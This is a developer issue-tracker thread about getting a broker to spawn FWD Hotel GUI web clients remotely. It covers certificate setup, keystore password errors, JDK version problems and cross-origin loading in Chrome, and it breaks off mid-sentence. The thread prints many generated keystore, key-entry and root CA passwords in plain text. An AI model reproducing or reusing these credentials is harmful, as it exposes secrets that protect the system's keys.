I look forward to testing! I also want to get the certificate requirements for adding the broker to the configuration settled... starting with the current hotel_gui, and just adding a broker.

Is there any relation to what you are fixing and #10766?

No, #10766 is not related. In this task I should fix parameters issue so that all target parameters would be delivered to the web client via the spawned process correctly and fix cross origin issue that enable the remote web client to be included into the parent web page served by the server side but all these fixes seem enough to start web clients remotely.

I also want to get the certificate requirements for adding the broker to the configuration settled... starting with the current hotel_gui, and just adding a broker.

I thought that you already built and configured them correctly as it was discussed above in this task. I have nothing new to add to this process.

Roger, could you test with your environment rev 16228 (9709b)? I have not installed FWD on the virtual machine yet, but will setup my environment later.

Roger Borrello wrote:

Install the base Ubuntu OS from the Live ISO: ubuntu-24.04.2-live-server-amd64.iso

Make primary user "fwd", password "fwd". Nothing special. After completion, install the mgmt project. That is why -adminuser would be fwd.

I missed this instruction and proceeded further. Should I added manually OS user fwd?

I tested rev 16228 (9709b) in this environment ubuntu-24.04.2 and openjdk version "17.0.16" 2025-07-15, where broker client was run and the server was run on different environment ubuntu-22.04 and openjdk version "1.8.0_462". The broker connected to the server successfully and removed on CTRL+C, the js web client was located on the server host and tried to access the web client. The registered broker started the spawn process successfully but the java process started by the spawned process was failed without any logs.
Planning to test with openjdk 8.

For openjdk version "1.8.0_462" the broker spawns the web client successfully. So for openjdk version "17.0.16" 2025-07-15 it does not work.

With Java 8 and Chrome using self-signed certificates does not work from the box, so it needs to add exceptions and permits to load injected page separately in new tab. At this moment I do not know what should be added for Chrome that it works out of the box.

It seems it is important to use valid certificates in order that the spawned remotely web clients work out of the box.

Sergey Ivanovskiy wrote:

With Java 8 and Chrome using self-signed certificates does not work from the box, so it needs to add exceptions and permits to load injected page separately in new tab. At this moment I do not know what should be added for Chrome that it works out of the box.

I guess that it needs to add injected site into All Site data. Search Settings for All Site and add the injected site into this list and set custom permissions for this site: Allow insecure content, Allow Jscript and ...

Rebased 9709b and added missed history rev. 16251.

Sergey Ivanovskiy wrote:

Rebased 9709b and added missed history rev. 16251.

I am back from my 60th birthday weekend, and getting back up-to-speed.

Roger, my warmest congratulations on your great anniversary!

Sergey Ivanovskiy wrote:

Roger, my warmest congratulations on your great anniversary!

Thank you! A previous co-worker gave me a lapel pin: "I am older than the internet!" That hurts!

I have only an idea to reset root CA by Re-use the root CA currently in the directory (yes/no): no.

Roger Borrello wrote:

Getting things going again is proving much more difficult than I'd like :-(. I was getting improper certificate from the broker:
[...]
I am trying to reset my environment, but not my CertGen is having issues:
[...]

I was using a directory that didn't have the broker1 process listed within it. I also did not reuse certificates. However, this is not really how I want to operate. When we are adding brokers to a configuration, I want to add the certificate to the configuration, not recreate all of them.

Still, the broker cannot connect. The log things it is tampered with. I am retrieving from the GenCert output the values in to put into the broker1_client.xml, but the server logs:

25/10/28 16:32:25.721-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#7 | initialization failure
java.net.SocketException: Socket is closed
        at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
        at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
        at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
        at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590)
        at java.base/java.lang.Thread.run(Thread.java:840)

The broker logs:

25/10/28 16:32:15.639-0400 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
com.goldencode.p2j.cfg.ConfigurationException: misconfigured keystore broker1-private-key.store
        at com.goldencode.p2j.security.TransportSecurity.loadKeyStore(TransportSecurity.java:387)
        at com.goldencode.p2j.security.TransportSecurity.<init>(TransportSecurity.java:191)
        at com.goldencode.p2j.security.SecurityManager$CertificateSecurityManager.getTransportSecurity(SecurityManager.java:6779)
        at com.goldencode.p2j.security.SecurityManager$ContextSecurityManager.getSecureSocketContext(SecurityManager.java:5850)
        at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1288)
        at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
        at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
        at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
        at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
        at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
        at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
        at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
        at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
Caused by: java.io.IOException: Keystore was tampered with, or password was incorrect
        at java.base/sun.security.provider.JavaKeyStore.engineLoad(JavaKeyStore.java:813)
        at java.base/sun.security.util.KeyStoreDelegator.engineLoad(KeyStoreDelegator.java:221)
        at java.base/java.security.KeyStore.load(KeyStore.java:1473)
        at com.goldencode.p2j.security.TransportSecurity.loadKeyStore(TransportSecurity.java:377)
        ... 12 more
Caused by: java.security.UnrecoverableKeyException: Password verification failed
        at java.base/sun.security.provider.JavaKeyStore.engineLoad(JavaKeyStore.java:811)
        ... 15 more

The server actually services the webclient, not the broker.

The steps I performed...
1) Used java -classpath ~/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -dir directory.xml
2) Copy broker1-private-key.store and srv-certs.store to fwddev2 broker directory
3) Populate broker1_client.xml directory with values from output of SSLCertGenUtil (I can provide details, if this is in doubt. I followed #9709-186)
4) Ran ./install_spawner.sh -a -n ~/projects/fwd/9709b/spawner/spawn -t ~/projects/fwd/9709b/spawner/postbuild.sh on fwddev1 Output:

 
[sudo] password for fwd: 
Installing...
 spawn tool: /home/fwd/projects/fwd/9709b/spawner/spawn to /opt/spawner/spawn
 certificate file: /home/fwd/projects/hotel_gui/deploy/server/srv-certs.store to /opt/spawner/srv-certs.store
 p2j.jar: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar to /opt/spawner/p2j.jar
 aspectj_rt: /home/fwd/projects/fwd/9709b/convert/build/lib/aspectjrt-1.9.21.jar to /opt/spawner/aspectjrt.jar
 slf4j_api: /home/fwd/projects/fwd/9709b/convert/build/lib/slf4j-api-2.0.13.jar to /opt/spawner/slf4j_api.jar

[sudo] password for fwd: 
Installing...
 spawn tool: /home/fwd/projects/fwd/9709b/spawner/spawn to /opt/spawner/spawn
 certificate file: ./deploy/broker/srv-certs.store to /opt/spawner/srv-certs.store
 p2j.jar: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar to /opt/spawner/p2j.jar
 aspectj_rt: /home/fwd/projects/fwd/9709b/convert/build/lib/aspectjrt-1.9.21.jar to /opt/spawner/aspectjrt.jar
 slf4j_api: /home/fwd/projects/fwd/9709b/convert/build/lib/slf4j-api-2.0.13.jar to /opt/spawner/slf4j_api.jar

I do not know if this is the issue but generated passwords can have symbols that are not permitted for xml and should be html escaped. For example, ampersands in passwords must be replaced with & amp; sequence. Caused by: java.io.IOException: Keystore was tampered with, or password was incorrect shows that passwords are given incorrectly.

Sergey Ivanovskiy wrote:

I do not know if this is the issue but generated passwords can have symbols that are not permitted for xml and should be html escaped. For example, ampersands in passwords must be replaced with & amp; sequence. Caused by: java.io.IOException: Keystore was tampered with, or password was incorrect shows that passwords are given incorrectly.

Yes, hence I have:

  <access>
    <password truststore="no51FaE13r#1ZWbT3nk8RUe#$CyZF@HQavY0" />
    <password keystore="Vvs9TE7IeZjA3T6+qFIkpS8Ci0Yv8R3Y&gt;x^%" />
    <password keyentry="JeL)BWK2T=435FJpVYaS16DH~J8tMhCO6ks^" />
  </access>

Given output of GenCertoutput of GenCert

java -classpath ~/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -dir directory.xml
Initializing service for directory directory.xml...
Reading company configuration...
Using 'US' for [C] Country Code.
Using 'Alpharetta' for [L] Locality (city, etc).
Using 'GoldenCode' for [O] Organization.
Using 'Hotel' for [OU] Organization Unit.
Using 'GA' for [ST] State or Province Name.
Using 10 years for validity.
Adding account /security/accounts/processes/standard
Adding account /security/accounts/processes/ehotel
Adding account /security/accounts/processes/embedded
Adding account /security/accounts/processes/broker1_process
Adding account /security/accounts/users/bogus
WARNING: alias shared is set for multiple accounts!
Account /security/accounts/users/hotel ignored - no alias is defined
Enter the target P2J server identifier (by default "standard"):
Re-use the encryption passwords currently in the directory (yes/no): no
Re-use the root CA currently in the directory (yes/no): no
Load and use the externally generated root CA (yes/no): no
Generating root CA using [hotel-root] alias...
Generating certificate for account with alias [broker1]...
Generating certificate for account with alias [ehotel]...
Generating certificate for account with alias [embedded]...
Generating certificate for account with alias [shared]...
Generating certificate for server with alias [standard]...
Encrypt the in-directory private keys using the same password (yes/no): yes
Private key for root CA [hotel-root] was encrypted using the [T8C%ZARS4Vv5d2f7t<fH0nd3E_kg2>Ht] password and the password was NOT SAVED in the directory.  Losing this password will prohibit using the root CA to issue new certificates.
Adding certificate for alias [hotel-root] to the /security/certificates/cas/hotel-root node...
Certificate for alias [hotel-root] has checksum [b984bdae0803aec0bc16fe29a3c27bc8]
Private key for alias [broker1] was encrypted using the [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password and saved in the /security/certificates/private-keys/broker1 node.
Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/broker1 node from the directory.
Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node...
Certificate for alias [broker1] has checksum [e2ee661306216b2a31a0296c85aa1d32]
Private key for alias [ehotel] was encrypted using the [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password and saved in the /security/certificates/private-keys/ehotel node.
Use the access:password:keyentry-ehotel key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/ehotel node from the directory.
Adding certificate for alias [ehotel] to the /security/certificates/peers/ehotel node...
Certificate for alias [ehotel] has checksum [3a981a05a9e2b73bfa46f5c4a4b1b0d5]
Private key for alias [embedded] was encrypted using the [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password and saved in the /security/certificates/private-keys/embedded node.
Use the access:password:keyentry-embedded key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/embedded node from the directory.
Adding certificate for alias [embedded] to the /security/certificates/peers/embedded node...
Certificate for alias [embedded] has checksum [2eee6cbf5e2deea90781588ef0ee6ae9]
Private key for alias [shared] was encrypted using the [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password and saved in the /security/certificates/private-keys/shared node.
Use the access:password:keyentry-shared key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/shared node from the directory.
Adding certificate for alias [shared] to the /security/certificates/peers/shared node...
Certificate for alias [shared] has checksum [4fcd14f1e55140c75dd42a07945da0f6]
Private key for alias [standard] was encrypted using the [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password and saved in the /security/certificates/private-keys/standard node.
Use the access:password:keyentry-standard key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/standard node from the directory.
Adding certificate for alias [standard] to the /security/certificates/peers/standard node...
Certificate for alias [standard] has checksum [d730dc4de10845efcef0ec13ea8a51ca]
The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [Vvs9TE7IeZjA3T6+qFIkpS8Ci0Yv8R3Y<x^%] and key-entry password [JeL)BWK2T=435FJpVYaS16DH~J8tMhCO6ks^].
The private key for certificate [ehotel] was saved in the [ehotel-private-key.store] key store, using store password [taTrP(a62krAIQjfM6G%35jPXKclg12%Eb<1] and key-entry password [644wzIt2uG<>JIYyFSygMso5o#IBfGV1s#29].
The private key for certificate [embedded] was saved in the [embedded-private-key.store] key store, using store password [X=kGXRp9NE*1u4(Ywy2uixM4)EJ9ql0Sc9wV] and key-entry password [ynM72Tgjd7P1yi~URhC~5@K2RTHzHs31OQ-Y].
The private key for certificate [shared] was saved in the [shared-private-key.store] key store, using store password [Ftw2TJYkB+5OKMYV3oo9&~Dx4578xd^AejyF] and key-entry password [?~Gq3iBl<K1yA)84nmqR53Dh7yvdYrwRu6ho].
The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [_1j2FlSGIo7BxX7x1itienN$mQk7iT0nM9`<] and key-entry password [7zW~wnWjfSiWQqD*$V4o6Ro3ar(7F7ypg03c].
The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [no51FaE13r#1ZWbT3nk8RUe#$CyZF@HQavY0].
The root CA's private key and certificate were saved in the [root-ca-pk.store] store.
The key store was encrypted using the [GAQfNBA`EQJ=j4Qwp1d#9RIGd4J356?a6gHD] password, while the root CA's private key was encrypted using the [RBMYm-iu60y%`8Js*Tcp0DiBbmCo4Sqru274] password.
Done.
WARNING! Any configuration set at the client.xml or server.xml files or via bootstrap config arguments will have priority over the in-directory keys or certificates.
WARNING! The private key encryption passwords for all the account certificates are saved unencrypted in the directory.  The root CA's private key can be safely deleted, if it is not required to issue other certificates using this CA.
WARNING! All private keys are encrypted using the same [&3&pdg1ibaKavw39Qs1*Klyd2jW>3f2d] password. If needed, delete the 'key-password' nodes from the directory manually, and set this password using the access:password:masterkeyentry bootstrap config at server startup.

Sergey, can you post your zipped up deploy/server and deploy/broker directories?

Yes, please download from the Google Disk https://drive.google.com/file/d/1G3ijoQXwOUlcOW4zlWl8DHIdtWHmdtB0/view?usp=sharing

Sergey Ivanovskiy wrote:

Yes, please download from the Google Disk https://drive.google.com/file/d/1G3ijoQXwOUlcOW4zlWl8DHIdtWHmdtB0/view?usp=sharing

That was a lot... but I didn't see the broker directory in there.

Roger, did you get hotel_gui.zip? Could this archive be removed? You should have client directory.
Updated: removed this zip file because you already downloaded it

Sergey Ivanovskiy wrote:

Roger, did you get hotel_gui.zip? Could this archive be removed? You should have client directory.

Yes, I retrieved it. Is there no broker1-private-key.store necessary in the broker directory?

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Roger, did you get hotel_gui.zip? Could this archive be removed? You should have client directory.

Yes, I retrieved it. Is there no broker1-private-key.store necessary in the broker directory?

Why it should be in the client directory? The client uses ../server/broker1-private-key.store in its config file broker1_client.xml. All these files you could find there in hotel_gui.

I copied your store files into my deploy directory, and moved your keys and certificates into my bootstrap xml and directory, and I had much more success. I am going to have to find where I went wrong setting up my certificates and keys.

However, there is still something minor going wrong, because a class isn't found:

INFO: Spawn process started with pid 3661.
25/10/29 12:50:45.441-0400 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/29 12:50:45.822-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:38213 -> fwddev1/192.168.1.241:3333
25/10/29 12:50:45.825-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/29 12:50:45.826-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/29 12:50:45.830-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/29 12:50:45.831-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/29 12:50:45.832-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/29 12:50:45.832-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/29 12:50:45.833-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/29 12:50:45.838-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/29 12:50:45.839-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/29 12:50:45.840-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/29 12:50:45.841-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/29 12:50:45.842-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'vUM12625ft2b5mE1'
25/10/29 12:50:46.147-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/29 12:50:46.151-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/29 12:50:46.179-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/29 12:50:46.185-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/29 12:50:46.188-0400 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/29 12:50:46.188-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (fd8f4b19-f1b1-4fab-9750-72235ce1a1d9)
25/10/29 12:50:46.189-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/29 12:50:46.194-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
25/10/29 12:50:46.195-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/broker, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9]
25/10/29 12:50:46.196-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 6
25/10/29 12:50:46.197-0400 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: .
INFO: The argument number 6 is: -Djava.awt.headless=true.
INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 8 is: -classpath.
INFO: The argument number 9 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 10 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 11 is: net:server:host=fwddev1.
INFO: The argument number 12 is: net:socket:nio=false.
INFO: The argument number 13 is: net:ssl:trackSeqNo=false.
INFO: The argument number 14 is: net:connection:secure=true.
INFO: The argument number 15 is: net:server:secure_port=3333.
INFO: The argument number 16 is: sso:subject:id=bogus.
INFO: The argument number 17 is: sso:storage:id=storage-hotel.
INFO: The argument number 18 is: client:web:host=localhost.
INFO: The argument number 19 is: remote:agent:dedicatedMode=true.
INFO: The argument number 20 is: client:web:port=7449.
INFO: The argument number 21 is: server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.
Error: Could not find or load main class 
Caused by: java.lang.ClassNotFoundExcept

It shouldn't make any difference that I am using deploy/broker instead of deploy/client. My broker_client.xml remote section has:

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <spawner file="/opt/spawner/spawn" />
    <agent host="localhost"/>
    <agent user="fwd"/>
    <agent dedicatedMode="true"/>
    <java args="-Xmx1G -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/" />
    <java classpath="/home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar" />
  </remote>

Actually, when I changed the remote:agent:host from "localhost" to "fwddev2", I no longer get the class not found exception. Instead, the web client indicates localhost refuses to connect.

The server log for the remote:agent:host="localhost" was:

25/10/29 12:50:44.982-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-63 | not available host:port localhost/127.0.0.1:7449.
25/10/29 13:02:32.241-0400 |    INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000002:broker1_process], Session:00000002, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=a513ea09-c71c-42a5-b4c9-1474abe58939 removed.

25/10/29 13:02:54.395-0400 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000004:broker1_process], Session:00000004, ThreadId:00000007, User:broker1_process | Broker user=broker1_process uuid=a6beb608-f50f-4fe0-895c-70c290ce4fba registered.
25/10/29 13:03:08.662-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-65 | not available host:port fwddev2/192.168.1.162:7449.
25/10/29 13:03:16.140-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp50653242-65 | Returns the redirect url https://localhost:7449/index.html?token=8e652df4a1b7522b151216c2fc60c1cf as response to GUI client.

When I also changed remote:agent:dedicated from "true" to "false" the error on the web changed to: "The webpage at https://fwddev2:7450/index.html?token=0e1a6a4c1e9071d48b04549aec7ddcd2 might be temporarily down or it may have moved permanently to a new web address."

The server log entries:

25/10/29 13:09:58.910-0400 |    INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000004:broker1_process], Session:00000004, ThreadId:00000008, User:broker1_process | Broker user=broker1_process uuid=a6beb608-f50f-4fe0-895c-70c290ce4fba removed.
25/10/29 13:10:24.455-0400 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000007:broker1_process], Session:00000007, ThreadId:00000009, User:broker1_process | Broker user=broker1_process uuid=b0527801-6bb3-49b3-9a53-ec36d7884414 registered.
25/10/29 13:10:36.262-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp50653242-113 | not available host:port fwddev2/192.168.1.162:7450.
25/10/29 13:10:40.507-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp50653242-113 | Returns the redirect url https://fwddev2:7450/index.html?token=0e1a6a4c1e9071d48b04549aec7ddcd2 as response to GUI client.

All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at

HotelGuiWithBrokerPart1.mkv (2.44 MB)  10/27/2025 11:24 AM 
HotelGuiWithBrokerPart2.mkv (6.1 MB)  10/27/2025 11:21 AM

Sergey Ivanovskiy wrote:

All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.

Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.

Was the copy/paste of the URL the "onetime setup" you are referring to?

Roger Borrello wrote:

Was the copy/paste of the URL the "onetime setup" you are referring to?

Yes.

Otherwise you should have a valid root certificate and then sign all generated certificates with this root certificate.

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.

Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.

fwddev1 is the server so the main page is loaded from this server but included page was loaded from the fwddev2! This is a cross-site request that is restricted by the browser.

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

Was the copy/paste of the URL the "onetime setup" you are referring to?

Yes.

What actually happened within the browser when we did that? Is that something that could be performed via the browser's settings?

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

All these indicate that you have correct setup and the software work as expected. Now please look at the video that I posted at
[...]
You should do onetime setup for your Chrome browser.

Those videos don't show any setup of the browser. Are you sure you posted the correct ones? I did copy/paste the URL that was there, and got the same results... it actually loaded Hotel GUI! After that, now I've tried 10 times, and each time I successfully get into hotel GUI. But the URL is always "fwddev1", not my broker. But I see log messages in the broker on fwddev2... confusing.

fwddev1 is the server so the main page is loaded from this server but included page was loaded from the fwddev2! This is a cross-site request that is restricted by the browser.

So there is no indication to the user that the broker is involved at all? This is both very good, and also means that if the customer has any connections between the actual user and which system they are associated with, they would no longer have this.

I believe the customer is working towards de-coupling this, which would be great. They save the screen size (small, medium, large, extra-large) within a file kept in the user's homespace.

Something is just not working in my world. I cannot get hotel_gui to spawn a client. I started from the beginning on my own laptop, without any broker involved, and it just indicates "The spawn process failed with 0 error. Please see spawner logs." I know there is a way to enable the logging, but I don't have that saved in a config, and all the wiki information seems to predate the CentralLogger. Regardless, I went to Hotel ChUI, and it does spawn fine, so I'm at a loss as to why GUI cannot, and ChUI can.

Roger Borrello wrote:

Something is just not working in my world. I cannot get hotel_gui to spawn a client. I started from the beginning on my own laptop, without any broker involved, and it just indicates "The spawn process failed with 0 error. Please see spawner logs." I know there is a way to enable the logging, but I don't have that saved in a config, and all the wiki information seems to predate the CentralLogger. Regardless, I went to Hotel ChUI, and it does spawn fine, so I'm at a loss as to why GUI cannot, and ChUI can.

Roger,

Hotel GUI regular client session conflicts with SSO directory options:

...
          <node-attribute name="ssoplugin" value="com.goldencode.hotel.HotelGuiSsoAuthenticator"/>
          <node-attribute name="ssopluginoption" value="bogus"/>
...

You need to remove these two lines from <node class="authMode" name="auth-mode"> to start regular Web client.

But you can use embedded mode with these options enabled.

On the other hand if lines are removed the embedded mode will stop working, only regular web client. So they are mutually exclusive, either one or another per single directory.xml in use.

That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs

Roger Borrello wrote:

That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs

What JDK version you use?

The problem is 0 error means spawner think the process has been successfully started while started process failed to be completed. And we actually do not know why because it happen after it was successfully started.

I can just add my observation that for JDK 17 I cannot start the web client remotely via broker client, but I did not test the local spawn on JDK 17. So I got the same case that the web client failed while the spawner starts the java web client successfully. (0 spawn error). The current version of #9709 does not have the last trunk changes that reverted the spawn shared memory changes, but I also do not think that it makes sense.

Eugenie Lyzenko wrote:

Roger Borrello wrote:

That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs

What JDK version you use?

I try to stick with JDK17, as that is what would need to be primary going forward.

The problem is 0 error means spawner think the process has been successfully started while started process failed to be completed. And we actually do not know why because it happen after it was successfully started.

The inability to have any meaningful logging is bad. How can I add some logging?

Sergey Ivanovskiy wrote:

I can just add my observation that for JDK 17 I cannot start the web client remotely via broker client, but I did not test the local spawn on JDK 17. So I got the same case that the web client failed while the spawner starts the java web client successfully. (0 spawn error). The current version of #9709 does not have the last trunk changes that reverted the spawn shared memory changes, but I also do not think that it makes sense.

I will try the current trunk.

Roger Borrello wrote:

Eugenie Lyzenko wrote:

Roger Borrello wrote:

That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs

What JDK version you use?

I try to stick with JDK17, as that is what would need to be primary going forward.

Try to use this version: openjdk version "17.0.16" 2025-07-15 but not later/newer.

Eugenie Lyzenko wrote:

Try to use this version: openjdk version "17.0.16" 2025-07-15 but not later/newer.

That's the version I am using. I can't even seem to debug the launching of /opt/spawner/spawn with the jvmArgs setup with -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 as the debugger never finds the process.

What code actually forks the spawner? What is the last place I can step to before we get to the JNI?

Roger Borrello wrote:

What code actually forks the spawner? What is the last place I can step to before we get to the JNI?

If you meant the web client local spawn, then you can set the breakpoint at WebClientSpawner.spawn.
WebClientSpawner.spawn-> ClientSpawner.spawnLocal launches the process of the spawn program and then the spawn program launches java configured to start the java web client. The java web client uses JNI methods at its start.

Sergey Ivanovskiy wrote:

launches the process of the spawn program and then the spawn program launches java configured to start the java web client. The java web client uses JNI methods at its start.

So if this is the command:

